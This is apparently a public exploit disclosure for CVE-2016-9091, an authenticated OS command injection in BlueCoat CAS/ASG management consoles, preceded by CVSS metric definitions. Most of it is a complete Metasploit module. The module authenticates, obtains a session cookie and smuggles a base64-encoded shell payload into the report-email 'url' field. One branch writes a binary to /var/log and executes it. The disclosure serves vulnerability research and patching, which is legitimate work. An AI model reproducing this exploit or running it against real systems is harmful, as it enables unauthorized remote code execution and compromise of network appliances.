The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements
Present
AT
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
BlueCoat ASG and CAS OS Command Injection Vulnerability# Exploit Title: OS Command Injection Vulnerability in BlueCoat ASG and CAS
# Date: April 3, 2017
# Exploit Authors: Chris Hebert, Peter Paccione and Corey Boyd
# Contact: chrisdhebert[at]gmail.com
# Vendor Security Advisory: https://bto.bluecoat.com/security-advisory/sa138
# Version: CAS 1.3 prior to 1.3.7.4 & ASG 6.6 prior to 6.6.5.4 are vulnerable
# Tested on: BlueCoat CAS 1.3.7.1
# CVE : cve-2016-9091
Timeline:
--------
08/31/2016 (Vulnerablities Discovered)
03/31/2017 (Final Vendor Patch Confirmed)
04/03/2017 (Public Release)
Description:
The BlueCoat ASG and CAS management consoles are susceptible to an OS command injection vulnerability.
An authenticated malicious administrator can execute arbitrary OS commands with the privileges of the tomcat user.
Proof of Concept:
Metasploit Module - Remote Command Injection (via Report Email)
-----------------
##
# This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "BlueCoat CAS 1.3.7.1 \"Report Email\" Command Injection",
'Description' => %q{
BlueCoat CAS 1.3.7.1 (and possibly previous versions) are susceptible to an authenticated Remote Command Injection attack against
the Report Email functionality. This module exploits the vulnerability, resulting in tomcat execute permissions.
Any authenticated user within the 'administrator' group is able to exploit this; however, a user within the 'Readonly' group cannot.
},
'License' => MSF_LICENSE,
'Author' => [
'Chris Hebert <chrisdhebert[at]gmail.com>',
'Pete Paccione <petepaccione[at]gmail.com>',
'Corey Boyd <corey.k.boyd[at]gmail.com>'
],
'DisclosureDate' => 'Vendor Contacted 8-31-2016',
'Platform' => %w{ linux unix },
'Targets' =>
[
['BlueCoat CAS 1.3.7.1', {}],
],
'DefaultTarget' => 0,
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Payload' =>
{
'BadChars' => '',
'Compat' =>
{
#'PayloadType' => 'cmd python cmd_bash cmd_interact',
#'RequiredCmd' => 'generic perl python openssl bash awk', # metasploit may need to fix [bash,awk]
}
},
'References' =>
[
['CVE', '2016-9091'],
['EDB', '##TBD##'],
['URL', 'https://bto.bluecoat.com/security-advisory/sa138']
],
'DefaultOptions' =>
{
'SSL' => true
},
'Privileged' => true))
register_options([
Opt::RPORT(8082),
OptString.new('USERNAME', [ true, 'Single username' ]),
OptString.new('PASSWORD', [ true, 'Single password' ])
], self.class)
end
#Check BlueCoat CAS version - unauthenticated via GET /avenger/rest/version
def check
res = send_request_raw({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'avenger', 'rest', 'version')
})
clp_version = res.body.split("\<\/serialNumber\>\<version\>")
clp_version = clp_version[1]
clp_version = clp_version.split("\<")
clp_version = clp_version[0]
if res and clp_version != "1.3.7.1"
print_status("#{peer} - ERROR - BlueCoat version #{clp_version}, but must be 1.3.7.1")
fail_with(Failure::NotVulnerable, "BlueCoat version #{clp_version}, but must be 1.3.7.1")
end
return Exploit::CheckCode::Vulnerable
end
def exploit
print_status("#{peer} - Checking for vulnerable BlueCoat Host...")
if check != CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "FAILED Exploit - BlueCoat not version 1.3.7.1")
end
print_status("#{peer} - Running Exploit...")
post = {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cas', 'v1', 'tickets'),
'method' => 'POST',
'vars_post' => post
})
unless res && res.code == 201
print_error("#{peer} - Server did not respond in an expected way")
return
end
redirect = res.headers['Location']
ticket1 = redirect.split("\/tickets\/").last
print_status("#{peer} - Step 1 - REQ:Login -> RES:Ticket1 -> #{ticket1}")
post = {
'service' => 'http://localhost:8447/avenger/j_spring_cas_security_check'
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cas', 'v1', 'tickets', "#{ticket1}"),
'method' => 'POST',
'vars_post' => post
})
ticket2 = res.body
print_status("#{peer} - Step 2 - REQ:Ticket1 -> RES:Ticket2 -> #{ticket2}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "avenger/j_spring_cas_security_check?dc=1472496573838&ticket=#{ticket2}")
})
unless res && res.code == 302
print_error("#{peer} - Server did not respond in an expected way")
return
end
cookie = res.get_cookies
print_status("#{peer} - Step 3 - REQ:Ticket2 -> RES:COOKIE -> #{cookie}")
if cookie.blank?
print_error("#{peer} - Could not retrieve a cookie")
return
end
unless res && res.code == 302
print_error("#{peer} - Server did not respond in an expected way")
return
end
cookie = res.get_cookies
if cookie.blank?
print_error("#{peer} - Could not retrieve the authenticated cookie")
return
end
print_status("#{peer} - LOGIN Process Complete ...")
print_status("#{peer} - Exploiting Bluecoat CAS v1.3.7.1 - Report Email ...")
if payload.raw.include?("perl") || payload.raw.include?("python") || payload.raw.include?("openssl")
#print_status("#{peer} - DEBUG: asci payload (perl,python, openssl,?bash,awk ")
post = "{\"reportType\":\"jpg\",\"url\":\"http\:\/\/localhost:8447/dev-report-overview.html\;echo #{Rex::Text.encode_base64(payload.raw)}|base64 -d|sh;\",\"subject\":\"CAS #{datastore["RHOST"]}: CAS Overview Report\"}"
else
#print_status("#{peer} - DEBUG - binary payload (meterpreter,etc, !!")
post = "{\"reportType\":\"jpg\",\"url\":\"http\:\/\/localhost:8447/dev-report-overview.html\;echo #{Rex::Text.encode_base64(payload.raw)}|base64 -d>/var/log/metasploit.bin;chmod +x /var/log/metasploit.bin;/var/log/metasploit.bin;\",\"subject\":\"CAS #{datastore["RHOST"]}: CAS Overview Report\"}"
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'avenger', 'rest', 'report-email', 'send'),
'method' => 'POST',
'cookie' => cookie,
'ctype' => 'application/json',
'data' => post
})
print_status("#{peer} - Payload sent ...")
end
end
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